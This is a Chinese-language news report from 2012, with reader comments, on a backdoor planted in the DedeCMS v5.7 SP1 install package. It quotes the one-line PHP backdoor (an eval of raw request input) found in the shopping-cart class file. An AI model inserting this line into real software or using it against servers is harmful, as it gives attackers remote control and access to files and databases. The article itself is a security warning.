织梦CMS系统被曝植入后门 70万网站资料或泄露

墙头草
 墙头草
发布于 2012年03月22日
收藏 9

织梦 dedeCMS 中被植入的后门代码
织梦 CMS 中被植入的后门代码

3月 22 日消息,瑞星与 360 今日对外发布警示,称国内知名的 PHP 开源网站管理系统织梦 CMS(DedeCms)v5.7 sp1 版本安装包被发现植入后门,黑客可通过此后门直接获得网站的控制权限,获取存储在服务器上的文件和数据库。

据织梦 CMS 官方数据显示,目前约有 70 万网站使用该系统搭建,涉及企业、政府机关、媒体机构、行业及个人网站等。

安全界人士分析发现,此次织梦 CMS 曝出的后门恶意代码存在于购物车类文件(shopcar.class.php)中,此类文件被植入一句后门代码“@eval (file_get_contents ('php://input'));”。凡是调用该购物车类的文件均会触发后门,黑客只需要构造简单的数据包提交到服务器,就能够获取到该网站的 WebShell,通过对服务器进一步渗透攻击,进而获取服务器的最高权限,直接访问服务器上的文件、数据库等信息。

本站文章除注明转载外,均为本站原创或编译。欢迎任何形式的转载,但请务必注明出处,尊重他人劳动共创开源社区。
转载请注明:文章转载自 OSCHINA 社区 [http://www.oschina.net]
本文标题:织梦CMS系统被曝植入后门 70万网站资料或泄露
资讯来源:网易科技
加载中

最新评论(49

mj4738
mj4738

引用来自“笨蛋EGG”的评论

普通的公司网站或介绍性的网站,没啥所谓。。。重要的网站还是自己开发的好···

自己开发的,问题更多
w
wwe

引用来自“RickyFeng”的评论

一定是大牛离职前加进去的。

顶你
笨小树
笨小树
这样的漏洞。。。
hokim
hokim
这是开发人员加的么?
此人已死,有事烧纸
此人已死,有事烧纸
看来当年选择自己开发是正确的。
sami
sami
难道就没网安做找过eval函数是否用过么?
涉水轻舟
涉水轻舟
国内产品一直都不敢用
Jony.Z
Jony.Z
以前就知道dede不敢用
返回顶部
顶部